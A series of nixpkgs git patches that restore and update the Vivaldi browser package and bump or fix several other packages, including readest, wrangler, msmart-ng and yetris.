+    + lib.optionalString (stdenv.hostPlatform.is64bit) (
+      ":" + lib.makeSearchPathOutput "lib" "lib64" buildInputs
+    )
+    + ":$out/opt/${vivaldiName}/lib";
+
+  buildPhase =
+    ''
+      runHook preBuild
+      echo "Patching Vivaldi binaries"
+      for f in chrome_crashpad_handler vivaldi-bin vivaldi-sandbox ; do
+        patchelf \
+          --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
+          --set-rpath "${libPath}" \
+          opt/${vivaldiName}/$f
+      done
+
+      for f in libGLESv2.so libqt5_shim.so ; do
+        patchelf --set-rpath "${libPath}" opt/${vivaldiName}/$f
+      done
+    ''
+    + lib.optionalString proprietaryCodecs ''
+      ln -s ${vivaldi-ffmpeg-codecs}/lib/libffmpeg.so opt/${vivaldiName}/libffmpeg.so.''${version%\.*\.*}
+    ''
+    + ''
+      echo "Finished patching Vivaldi binaries"
+      runHook postBuild
+    '';
+
+  dontPatchELF = true;
+  dontStrip = true;
+
+  installPhase =
+    ''
+      runHook preInstall
+      mkdir -p "$out"
+      cp -r opt "$out"
+      mkdir "$out/bin"
+      ln -s "$out/opt/${vivaldiName}/${vivaldiName}" "$out/bin/vivaldi"
+      mkdir -p "$out/share"
+      cp -r usr/share/{applications,xfce4} "$out"/share
+      substituteInPlace "$out"/share/applications/*.desktop \
+        --replace /usr/bin/${vivaldiName} "$out"/bin/vivaldi
+      substituteInPlace "$out"/share/applications/*.desktop \
+        --replace vivaldi-stable vivaldi
+      local d
+      for d in 16 22 24 32 48 64 128 256; do
+        mkdir -p "$out"/share/icons/hicolor/''${d}x''${d}/apps
+        ln -s \
+          "$out"/opt/${vivaldiName}/product_logo_''${d}.png \
+          "$out"/share/icons/hicolor/''${d}x''${d}/apps/vivaldi.png
+      done
+      wrapProgram "$out/bin/vivaldi" \
+        --add-flags ${lib.escapeShellArg commandLineArgs} \
+        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
+        --set-default FONTCONFIG_FILE "${fontconfig.out}/etc/fonts/fonts.conf" \
+        --set-default FONTCONFIG_PATH "${fontconfig.out}/etc/fonts" \
+        --suffix XDG_DATA_DIRS : ${gtk3}/share/gsettings-schemas/${gtk3.name}/ \
+        --prefix PATH : ${coreutils}/bin \
+        ''${qtWrapperArgs[@]} \
+        ${lib.optionalString enableWidevine "--suffix LD_LIBRARY_PATH : ${libPath}"}
+    ''
+    + lib.optionalString enableWidevine ''
+      ln -sf ${widevine-cdm}/share/google/chrome/WidevineCdm $out/opt/${vivaldiName}/WidevineCdm
+    ''
+    + ''
+      runHook postInstall
+    '';
+
+  passthru.updateScript = ./update-vivaldi.sh;
+
+  meta = with lib; {
+    description = "Browser for our Friends, powerful and personal";
+    homepage = "https://vivaldi.com";
+    license = licenses.unfree;
+    sourceProvenance = with sourceTypes; [ binaryNativeCode ];
+    mainProgram = "vivaldi";
+    maintainers = with maintainers; [
+      otwieracz
+      badmutex
+    ];
+    platforms = [
+      "x86_64-linux"
+      "aarch64-linux"
+    ];
+  };
+}
diff --git a/pkgs/by-name/vi/vivaldi/update-vivaldi.sh b/pkgs/by-name/vi/vivaldi/update-vivaldi.sh
new file mode 100755
index 000000000000..994257889ee6
--- /dev/null
+++ b/pkgs/by-name/vi/vivaldi/update-vivaldi.sh
@@ -0,0 +1,15 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p curl common-updater-scripts
+
+set -eu -o pipefail
+
+version=$(curl -sS https://vivaldi.com/download/ | sed -rne 's/.*vivaldi-stable_([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)-1_amd64\.deb.*/\1/p')
+
+update_hash() {
+    url="https://downloads.vivaldi.com/stable/vivaldi-stable_$version-1_$2.deb"
+    hash=$(nix hash to-sri --type sha256 $(nix-prefetch-url --type sha256 "$url"))
+    update-source-version vivaldi "$version" "$hash" --system=$1 --ignore-same-version
+}
+
+update_hash aarch64-linux arm64
+update_hash x86_64-linux amd64
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 00838c5fb667..ce503e53594d 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1967,7 +1967,6 @@ mapAliases {
   vistafonts = vista-fonts; # Added 2025-02-03
   vistafonts-chs = vista-fonts-chs; # Added 2025-02-03
   vistafonts-cht = vista-fonts-cht; # Added 2025-02-03
-  vivaldi = throw "'vivaldi' has been removed due to lack of maintenance in nixpkgs"; # Added 2025-05-29
   vkBasalt = vkbasalt; # Added 2022-11-22
   vkdt-wayland = vkdt; # Added 2024-04-19
   vocal = throw "'vocal' has been archived upstream. Consider using 'gnome-podcasts' or 'kasts' instead."; # Added 2025-04-12

From 3ec2c6ffcdb447057303558ee26469586dfad431 Mon Sep 17 00:00:00 2001
From: rewine <luhongxu@deepin.org>
Date: Sat, 31 May 2025 12:48:35 +0800
Subject: [PATCH 0356/4511] vivaldi: clear up

- Replaced qt5 with qt6 as dependency
- Removed isSnapshot option, only stable branch is built
- Updated build inputs and patching for qt6
- Adjusted wrapper setup and environment variables
- Updated maintainer in meta

(cherry picked from commit 6dae4461e9f3260a0a958d1e350f2b3a059a384a)
---
 pkgs/by-name/vi/vivaldi/package.nix | 57 ++++++++++++-----------------
 1 file changed, 24 insertions(+), 33 deletions(-)

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index a81ca5c5f2f8..f87840e7afe7 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -43,7 +43,7 @@
   atk,
   at-spi2-atk,
   at-spi2-core,
-  qt5,
+  qt6,
   libdrm,
   libgbm,
   vulkan-loader,
@@ -53,7 +53,6 @@
   makeWrapper,
   wayland,
   pipewire,
-  isSnapshot ? false,
   proprietaryCodecs ? false,
   vivaldi-ffmpeg-codecs ? null,
   enableWidevine ? false,
@@ -65,10 +64,6 @@
   libkrb5,
 }:
 
-let
-  branch = if isSnapshot then "snapshot" else "stable";
-  vivaldiName = if isSnapshot then "vivaldi-snapshot" else "vivaldi";
-in
 stdenv.mkDerivation rec {
   pname = "vivaldi";
   version = "7.4.3684.43";
@@ -81,7 +76,7 @@ stdenv.mkDerivation rec {
     .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
 
   src = fetchurl {
-    url = "https://downloads.vivaldi.com/${branch}/vivaldi-${branch}_${version}-1_${suffix}.deb";
+    url = "https://downloads.vivaldi.com/stable/vivaldi-stable_${version}-1_${suffix}.deb";
     hash =
       {
         aarch64-linux = "sha256-/Zmxwm65HjIL/JdWJtvcgxk4Bj4VcTXr/px6eCJHy0I=";
@@ -91,14 +86,16 @@ stdenv.mkDerivation rec {
   };
 
   unpackPhase = ''
+    runHook preUnpack
     ar vx $src
     tar -xvf data.tar.xz
+    runHook postUnpack
   '';
 
   nativeBuildInputs = [
     patchelf
     makeWrapper
-    qt5.wrapQtAppsHook
+    qt6.wrapQtAppsHook
   ];
 
   dontWrapQtApps = true;
@@ -137,8 +134,8 @@ stdenv.mkDerivation rec {
       ffmpeg
       systemd
       libva
-      qt5.qtbase
-      qt5.qtwayland
+      qt6.qtbase
+      qt6.qtwayland
       freetype
       fontconfig
       libXrender
@@ -166,7 +163,7 @@ stdenv.mkDerivation rec {
     + lib.optionalString (stdenv.hostPlatform.is64bit) (
       ":" + lib.makeSearchPathOutput "lib" "lib64" buildInputs
     )
-    + ":$out/opt/${vivaldiName}/lib";
+    + ":$out/opt/vivaldi/lib";
 
   buildPhase =
     ''
@@ -176,15 +173,15 @@ stdenv.mkDerivation rec {
         patchelf \
           --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
           --set-rpath "${libPath}" \
-          opt/${vivaldiName}/$f
+          opt/vivaldi/$f
       done
 
-      for f in libGLESv2.so libqt5_shim.so ; do
-        patchelf --set-rpath "${libPath}" opt/${vivaldiName}/$f
+      for f in libGLESv2.so libqt5_shim.so libqt6_shim.so; do
+        patchelf --set-rpath "${libPath}" opt/vivaldi/$f
       done
     ''
     + lib.optionalString proprietaryCodecs ''
-      ln -s ${vivaldi-ffmpeg-codecs}/lib/libffmpeg.so opt/${vivaldiName}/libffmpeg.so.''${version%\.*\.*}
+      ln -s ${vivaldi-ffmpeg-codecs}/lib/libffmpeg.so opt/vivaldi/libffmpeg.so.''${version%\.*\.*}
     ''
     + ''
       echo "Finished patching Vivaldi binaries"
@@ -200,32 +197,29 @@ stdenv.mkDerivation rec {
       mkdir -p "$out"
       cp -r opt "$out"
       mkdir "$out/bin"
-      ln -s "$out/opt/${vivaldiName}/${vivaldiName}" "$out/bin/vivaldi"
+      ln -s "$out/opt/vivaldi/vivaldi" "$out/bin/vivaldi"
       mkdir -p "$out/share"
       cp -r usr/share/{applications,xfce4} "$out"/share
       substituteInPlace "$out"/share/applications/*.desktop \
-        --replace /usr/bin/${vivaldiName} "$out"/bin/vivaldi
+        --replace-fail /usr/bin/vivaldi "$out"/bin/vivaldi
       substituteInPlace "$out"/share/applications/*.desktop \
-        --replace vivaldi-stable vivaldi
+        --replace-fail vivaldi-stable vivaldi
       local d
       for d in 16 22 24 32 48 64 128 256; do
         mkdir -p "$out"/share/icons/hicolor/''${d}x''${d}/apps
         ln -s \
-          "$out"/opt/${vivaldiName}/product_logo_''${d}.png \
+          "$out"/opt/vivaldi/product_logo_''${d}.png \
           "$out"/share/icons/hicolor/''${d}x''${d}/apps/vivaldi.png
       done
       wrapProgram "$out/bin/vivaldi" \
         --add-flags ${lib.escapeShellArg commandLineArgs} \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
-        --set-default FONTCONFIG_FILE "${fontconfig.out}/etc/fonts/fonts.conf" \
-        --set-default FONTCONFIG_PATH "${fontconfig.out}/etc/fonts" \
-        --suffix XDG_DATA_DIRS : ${gtk3}/share/gsettings-schemas/${gtk3.name}/ \
+        --prefix XDG_DATA_DIRS : ${gtk3}/share/gsettings-schemas/${gtk3.name}/ \
+        --prefix LD_LIBRARY_PATH : ${libPath} \
         --prefix PATH : ${coreutils}/bin \
-        ''${qtWrapperArgs[@]} \
-        ${lib.optionalString enableWidevine "--suffix LD_LIBRARY_PATH : ${libPath}"}
+        ''${qtWrapperArgs[@]}
     ''
     + lib.optionalString enableWidevine ''
-      ln -sf ${widevine-cdm}/share/google/chrome/WidevineCdm $out/opt/${vivaldiName}/WidevineCdm
+      ln -sf ${widevine-cdm}/share/google/chrome/WidevineCdm $out/opt/vivaldi/WidevineCdm
     ''
     + ''
       runHook postInstall
@@ -233,16 +227,13 @@ stdenv.mkDerivation rec {
 
   passthru.updateScript = ./update-vivaldi.sh;
 
-  meta = with lib; {
+  meta = {
     description = "Browser for our Friends, powerful and personal";
     homepage = "https://vivaldi.com";
-    license = licenses.unfree;
-    sourceProvenance = with sourceTypes; [ binaryNativeCode ];
+    license = lib.licenses.unfree;
+    sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
     mainProgram = "vivaldi";
-    maintainers = with maintainers; [
-      otwieracz
-      badmutex
-    ];
+    maintainers = with lib.maintainers; [ rewine ];
     platforms = [
       "x86_64-linux"
       "aarch64-linux"

From a98936ab27a547bd78007ba6c7024740374c72e3 Mon Sep 17 00:00:00 2001
From: rnhmjoj <rnhmjoj@inventati.org>
Date: Sat, 31 May 2025 22:38:48 +0200
Subject: [PATCH 0357/4511] haskellPackages.selda-json: unbreak

---
 pkgs/development/haskell-modules/configuration-common.nix | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/haskell-modules/configuration-common.nix b/pkgs/development/haskell-modules/configuration-common.nix
index 3e26a0d579fa..c71837d5b8f4 100644
--- a/pkgs/development/haskell-modules/configuration-common.nix
+++ b/pkgs/development/haskell-modules/configuration-common.nix
@@ -1045,8 +1045,9 @@ self: super:
               }
               + "/${name}";
             # 2025-04-09: jailbreak to allow bytestring >= 0.12, text >= 2.1
+            jailbreak = true;
             # Note: jailbreak ignores constraints under an if(flag)
-            postPatch = ''
+            postPatch = lib.optionalString (name == "selda-sqlite") ''
               check_sed() {
                 if ! test -s "$1"; then
                   echo "sed: pattern '$2' doesn't match anything" >&2
@@ -1054,10 +1055,8 @@ self: super:
                 fi
               }
               sed -i ${name}.cabal \
-                -e 's/\(bytestring\) .*/\1/w c1' \
-                -e 's/\(text\) .*/\1/w c2'
+                -e 's/\(bytestring\) .*/\1,/w c1'
               check_sed c1 'bytestring .*'
-              check_sed c2 'text .*'
             '';
           }) super.${name};
       in

From 473c26df78c8bf136d0d6f5493e730ef377ca2cd Mon Sep 17 00:00:00 2001
From: Marcus Ramberg <marcus@means.no>
Date: Sat, 31 May 2025 17:59:36 +0200
Subject: [PATCH 0358/4511] vivaldi: add marcusramberg as maintainer

(cherry picked from commit 3c9f7a1e7e20522dd8c4e4ef5544c7c1ae3b5ec6)
---
 pkgs/by-name/vi/vivaldi/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index f87840e7afe7..921b5363defc 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -233,7 +233,10 @@ stdenv.mkDerivation rec {
     license = lib.licenses.unfree;
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
     mainProgram = "vivaldi";
-    maintainers = with lib.maintainers; [ rewine ];
+    maintainers = with lib.maintainers; [
+      marcusramberg
+      rewine
+    ];
     platforms = [
       "x86_64-linux"
       "aarch64-linux"

From 80bb6d9bc12d7134e46fcaae1e9e8e4f60cc5e98 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Sat, 31 May 2025 18:16:19 +0200
Subject: [PATCH 0359/4511] python313Packages.msmart-ng: 2025.3.3 -> 2025.5.1

https://github.com/mill1000/midea-msmart/releases/tag/2025.5.0

https://github.com/mill1000/midea-msmart/releases/tag/2025.5.1
(cherry picked from commit 77cd83bb002a7863e0ce72e456228e96548a4734)
---
 pkgs/development/python-modules/msmart-ng/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/msmart-ng/default.nix b/pkgs/development/python-modules/msmart-ng/default.nix
index 8d1983474e18..d1564047c06b 100644
--- a/pkgs/development/python-modules/msmart-ng/default.nix
+++ b/pkgs/development/python-modules/msmart-ng/default.nix
@@ -18,14 +18,14 @@
 
 buildPythonPackage rec {
   pname = "msmart-ng";
-  version = "2025.3.3";
+  version = "2025.5.1";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "mill1000";
     repo = "midea-msmart";
     tag = version;
-    hash = "sha256-M8Gl6QXj0tRN7VFDhop47vINk8MeWSyCJ9bboo3j8Go=";
+    hash = "sha256-dZD93ZZiQLmWuMAR/nnYB7oGBBYr4YPEi+LdpSzweVc=";
   };
 
   patches = [

From bcad96537f5fd4f9bdc9a76963270a39ad9068ad Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Sat, 31 May 2025 18:16:20 +0200
Subject: [PATCH 0360/4511] home-assistant-custom-components.midea_ac: 2025.4.0
 -> 2025.5.1

https://github.com/mill1000/midea-ac-py/releases/tag/2025.5.0

https://github.com/mill1000/midea-ac-py/releases/tag/2025.5.1
(cherry picked from commit c3c817012463aca5a60a3cbe6e63494dac3ffab5)
---
 .../home-assistant/custom-components/midea_ac/package.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/home-assistant/custom-components/midea_ac/package.nix b/pkgs/servers/home-assistant/custom-components/midea_ac/package.nix
index 848ff9370fc6..683abdf36d8d 100644
--- a/pkgs/servers/home-assistant/custom-components/midea_ac/package.nix
+++ b/pkgs/servers/home-assistant/custom-components/midea_ac/package.nix
@@ -8,13 +8,13 @@
 buildHomeAssistantComponent rec {
   owner = "mill1000";
   domain = "midea_ac";
-  version = "2025.4.0";
+  version = "2025.5.1";
 
   src = fetchFromGitHub {
     owner = "mill1000";
     repo = "midea-ac-py";
     tag = version;
-    hash = "sha256-ZkLC0GhfN+jp1DWv30LNVCP+NEZywt9Pxycs2RWBzrM=";
+    hash = "sha256-6CNxhgygAyzpy3idj3RkVvI8WMHCfar9v0GG21Y7YKE=";
   };
 
   dependencies = [ msmart-ng ];

From 53c2cc59fcfcc50b42538bc0347af017f1516564 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Sat, 31 May 2025 18:16:22 +0200
Subject: [PATCH 0361/4511] python313Packages.msmart-ng: drop no longer needed
 PEP 639 revert

At the time, setuptools did not yet implement PEP 639. This has changed
with the release of setuptools v77.0.0, which has since landed in
nixpkgs. As such, this patch is no longer needed.

Ref: 7605633c219a4b3900b49cb1aaf3dafd562d80dc
(cherry picked from commit 85f8ed8bea477fbfaafb07051e364f957f1364e9)
---
 .../development/python-modules/msmart-ng/default.nix | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/pkgs/development/python-modules/msmart-ng/default.nix b/pkgs/development/python-modules/msmart-ng/default.nix
index d1564047c06b..05ca5a840362 100644
--- a/pkgs/development/python-modules/msmart-ng/default.nix
+++ b/pkgs/development/python-modules/msmart-ng/default.nix
@@ -2,7 +2,6 @@
   lib,
   buildPythonPackage,
   fetchFromGitHub,
-  fetchpatch2,
 
   # build-system
   setuptools,
@@ -28,17 +27,6 @@ buildPythonPackage rec {
     hash = "sha256-dZD93ZZiQLmWuMAR/nnYB7oGBBYr4YPEi+LdpSzweVc=";
   };
 
-  patches = [
-    (fetchpatch2 {
-      # Revert <https://github.com/mill1000/midea-msmart/pull/209> until setuptools
-      # implements support for <https://peps.python.org/pep-0639/>.
-      name = "revert-pyproject-license-declaration-pep639-syntax.patch";
-      url = "https://github.com/mill1000/midea-msmart/commit/e5d6a982135e497c251095e421d3de4686f36056.patch?full_index=1";
-      hash = "sha256-+mxmFGZd04MZY2C5eo4k1lFoXsM8XyeJNazShnjAseE=";
-      revert = true;
-    })
-  ];
-
   build-system = [
     setuptools
     setuptools-scm

From 55653ea6a5104f5edfa8c6f6db63d07c6ed74a8d Mon Sep 17 00:00:00 2001
From: Ethan Carter Edwards <ethan@ethancedwards.com>
Date: Sat, 31 May 2025 00:00:26 -0400
Subject: [PATCH 0362/4511] yetris: fix compilation on aarch64-linux

https://hydra.nixos.org/build/297262484/nixlog/1

char's are not signed by default on aarch64 systems.

Signed-off-by: Ethan Carter Edwards <ethan@ethancedwards.com>
(cherry picked from commit 73f7ebf96cf009ee4d59019f4d99e4408efbb3ea)
---
 pkgs/by-name/ye/yetris/package.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/by-name/ye/yetris/package.nix b/pkgs/by-name/ye/yetris/package.nix
index c22401849db8..d460242a8af8 100644
--- a/pkgs/by-name/ye/yetris/package.nix
+++ b/pkgs/by-name/ye/yetris/package.nix
@@ -17,6 +17,15 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-k9CXXIaDk1eAtRBEj0VCfE+D1FtmIDX3niubAdrfjqw=";
   };
 
+  postPatch = ''
+    substituteInPlace src/Game/Entities/RotationSystemSRS.cpp \
+      --replace-fail 'char' 'signed char'
+    substituteInPlace src/Game/Entities/PieceDefinitions.cpp \
+      --replace-fail 'char' 'signed char'
+    substituteInPlace src/Game/Entities/PieceDefinitions.hpp \
+      --replace-fail 'char' 'signed char'
+  '';
+
   buildInputs = [
     ncurses
   ];

From ef44d95de59aba45c0bfba799fe0ab724aa0607c Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Sat, 31 May 2025 13:21:48 -0700
Subject: [PATCH 0363/4511] k3s.tests: fix eval

(cherry picked from commit 24134e86b7efc45f8dc9a4445d4c7ff55748731e)
---
 nixos/tests/k3s/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/tests/k3s/default.nix b/nixos/tests/k3s/default.nix
index 5240f029139f..8d4203c1fb79 100644
--- a/nixos/tests/k3s/default.nix
+++ b/nixos/tests/k3s/default.nix
@@ -8,7 +8,7 @@ let
     n: _: lib.strings.hasPrefix "k3s_" n && (builtins.tryEval pkgs.${n}).success
   ) pkgs;
 in
-lib.recurseIntoAttrs {
+{
   airgap-images = lib.mapAttrs (
     _: k3s: import ./airgap-images.nix { inherit system pkgs k3s; }
   ) allK3s;

From 95c397e1f5626732aa1b4160e5be76cdd57a0738 Mon Sep 17 00:00:00 2001
From: Jost Alemann <alemann@posteo.com>
Date: Tue, 27 May 2025 19:10:02 +0200
Subject: [PATCH 0364/4511] readest: 0.9.43 -> 0.9.49

Changelog: https://github.com/readest/readest/releases/tag/v0.9.49
Diff: https://github.com/readest/readest/compare/v0.9.43...v0.9.49
(cherry picked from commit fd0565616391d9dbec4616a1e63abfd6d39a87ec)
---
 pkgs/by-name/re/readest/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/re/readest/package.nix b/pkgs/by-name/re/readest/package.nix
index da4ba6109cf9..fa253facddbb 100644
--- a/pkgs/by-name/re/readest/package.nix
+++ b/pkgs/by-name/re/readest/package.nix
@@ -20,13 +20,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "readest";
-  version = "0.9.43";
+  version = "0.9.49";
 
   src = fetchFromGitHub {
     owner = "readest";
     repo = "readest";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-9ACeMGbOpa3Nh6NQIGckcI2oYNjtQ1pE4Zn++qcE0tM=";
+    hash = "sha256-QvnYLFCL5cX+VIKR29ehzsNPZK/o4A/q1bVFnwLG66I=";
     fetchSubmodules = true;
   };
 
@@ -39,7 +39,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-ozRDNXWqg0CZ1IgU33C6yJu4e05010jsHeTdIVhB72M=";
+    hash = "sha256-Bd+7MHYBMo4N7UpwkXGmk4oQBbyBMJOtnv6iTVQgn64=";
   };
 
   pnpmRoot = "../..";

From 9fcdd118bec901b9b5bc70e9c8f5e058301f5ba4 Mon Sep 17 00:00:00 2001
From: Jost Alemann <alemann@posteo.com>
Date: Wed, 28 May 2025 08:46:54 +0200
Subject: [PATCH 0365/4511] readest: disable telemetry

add patch to disable telemetry

(cherry picked from commit f36421c9c707daf8b6b020f0c250b3ad2e3886c6)
---
 pkgs/by-name/re/readest/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/re/readest/package.nix b/pkgs/by-name/re/readest/package.nix
index fa253facddbb..b33afc7a8d3f 100644
--- a/pkgs/by-name/re/readest/package.nix
+++ b/pkgs/by-name/re/readest/package.nix
@@ -60,7 +60,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail '"Readest"' '"readest"'
     jq 'del(.plugins."deep-link")' src-tauri/tauri.conf.json | sponge src-tauri/tauri.conf.json
     substituteInPlace src/services/constants.ts \
-      --replace-fail "autoCheckUpdates: true" "autoCheckUpdates: false"
+      --replace-fail "autoCheckUpdates: true" "autoCheckUpdates: false" \
+      --replace-fail "telemetryEnabled: true" "telemetryEnabled: false"
   '';
 
   nativeBuildInputs = [

From 9389a14c1b886657780f1984c9aa0d59d7926263 Mon Sep 17 00:00:00 2001
From: Jost Alemann <alemann@posteo.com>
Date: Wed, 28 May 2025 18:39:46 +0200
Subject: [PATCH 0366/4511] readest: 0.9.49 -> 0.9.50

Changelog: https://github.com/readest/readest/releases/tag/v0.9.50
Diff: https://github.com/readest/readest/compare/v0.9.49...v0.9.50
(cherry picked from commit c8dec73d6baa1d1f654c428ab1269754b557af22)
---
 pkgs/by-name/re/readest/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/re/readest/package.nix b/pkgs/by-name/re/readest/package.nix
index b33afc7a8d3f..a742070d9344 100644
--- a/pkgs/by-name/re/readest/package.nix
+++ b/pkgs/by-name/re/readest/package.nix
@@ -20,13 +20,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "readest";
-  version = "0.9.49";
+  version = "0.9.50";
 
   src = fetchFromGitHub {
     owner = "readest";
     repo = "readest";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-QvnYLFCL5cX+VIKR29ehzsNPZK/o4A/q1bVFnwLG66I=";
+    hash = "sha256-/DWJZnGhJRBVdtieZBRLmF4Wfe/fo4YQTRT/FFCWUGg=";
     fetchSubmodules = true;
   };
 

From 87dfca8ede3be512d96ab1e90338d614eb32c925 Mon Sep 17 00:00:00 2001
From: Jost Alemann <jost_alemann@me.com>
Date: Sat, 31 May 2025 19:04:51 +0200
Subject: [PATCH 0367/4511] readest: 0.9.50 -> 0.9.51

Changelog: https://github.com/readest/readest/releases/tag/v0.9.51
Diff: https://github.com/readest/readest/compare/v0.9.50...v0.9.51
(cherry picked from commit 781b5ab851837e5f03cfd87e9a859dac9b7eefdd)
---
 pkgs/by-name/re/readest/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/re/readest/package.nix b/pkgs/by-name/re/readest/package.nix
index a742070d9344..5f065bca0b18 100644
--- a/pkgs/by-name/re/readest/package.nix
+++ b/pkgs/by-name/re/readest/package.nix
@@ -20,13 +20,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "readest";
-  version = "0.9.50";
+  version = "0.9.51";
 
   src = fetchFromGitHub {
     owner = "readest";
     repo = "readest";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-/DWJZnGhJRBVdtieZBRLmF4Wfe/fo4YQTRT/FFCWUGg=";
+    hash = "sha256-UJ4H+pBR+EWr2O34WUmbF2rd3pTVssE/8b9iO9bbx7Y=";
     fetchSubmodules = true;
   };
 

From 720f7775b76a17fda04c1d84f5514100aab560c0 Mon Sep 17 00:00:00 2001
From: Ezri Zhu <me@ezrizhu.com>
Date: Fri, 16 May 2025 03:10:13 -0700
Subject: [PATCH 0368/4511] maintainers: add ezrizhu

(cherry picked from commit de3f4171dfee72215c3734fcf39d645033457faa)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 3a5b87a092cd..49e84d03cf43 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -7841,6 +7841,12 @@
     github = "hatch01";
     githubId = 42416805;
   };
+  ezrizhu = {
+    name = "Ezri Zhu";
+    email = "me@ezrizhu.com";
+    github = "ezrizhu";
+    githubId = 44515009;
+  };
   f--t = {
     email = "git@f-t.me";
     github = "f--t";

From 9c64622f170281d87daf3ea6103142fd3cdfee50 Mon Sep 17 00:00:00 2001
From: Ezri Zhu <me@ezrizhu.com>
Date: Wed, 21 May 2025 18:47:22 -0400
Subject: [PATCH 0369/4511] wrangler: 3.80.1 -> 4.16.0

Also resolved below two build issues

* Broken symlinks: nixpkgs build now checks for broken symlinks, this PR
  adds all the relevant directories back to the out dir so all symlinks
  are intact.
* Missing npm: wrangler specifies an older version of pnpm than the one
  in pnpm_9 as used in the build process, this PR patches the
  package.json to remove the pnpm version so pnpm_9 doesn't attempt to
  change it's version resulting in a pnpm binary not found error. (with
  help from @cameronraysmith in #377334)

(cherry picked from commit 515e5fe4cc7e102199988d4010de70ccbbb7b1bb)
---
 pkgs/by-name/wr/wrangler/package.nix | 43 +++++++++++++++++++---------
 1 file changed, 29 insertions(+), 14 deletions(-)

diff --git a/pkgs/by-name/wr/wrangler/package.nix b/pkgs/by-name/wr/wrangler/package.nix
index 6654ee0f063d..721ab85f68c7 100644
--- a/pkgs/by-name/wr/wrangler/package.nix
+++ b/pkgs/by-name/wr/wrangler/package.nix
@@ -10,23 +10,35 @@
   llvmPackages,
   musl,
   xorg,
+  jq,
+  moreutils,
   gitUpdater,
+  versionCheckHook,
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "wrangler";
-  version = "3.80.1";
+  version = "4.16.0";
 
   src = fetchFromGitHub {
     owner = "cloudflare";
     repo = "workers-sdk";
     rev = "wrangler@${finalAttrs.version}";
-    hash = "sha256-9ClosoDIT+yP2dvNenHW2RSxLimOT3znXD+Pq+N6cQA=";
+    hash = "sha256-H/ds5NfOjyTZ4AcsCAP0wbalgOljOUtLSjkjEn+atVk=";
   };
 
   pnpmDeps = pnpm_9.fetchDeps {
-    inherit (finalAttrs) pname version src;
-    hash = "sha256-8EItfBV2n2rnXPCTYjDZlr/tdlEn8YOdIzOsj35w5gQ=";
+    inherit (finalAttrs)
+      pname
+      version
+      src
+      postPatch
+      ;
+    hash = "sha256-msIXeN8t8Dm3RUkw4woZIMn7wXxw/0jVl8oFmkPJbrA=";
   };
+  # pnpm packageManager version in workers-sdk root package.json may not match nixpkgs
+  postPatch = ''
+    jq 'del(.packageManager)' package.json | sponge package.json
+  '';
 
   passthru.updateScript = gitUpdater { rev-prefix = "wrangler@"; };
 
@@ -45,6 +57,8 @@ stdenv.mkDerivation (finalAttrs: {
       makeWrapper
       nodejs
       pnpm_9.configHook
+      jq
+      moreutils
     ]
     ++ lib.optionals (stdenv.hostPlatform.isLinux) [
       autoPatchelfHook
@@ -53,7 +67,7 @@ stdenv.mkDerivation (finalAttrs: {
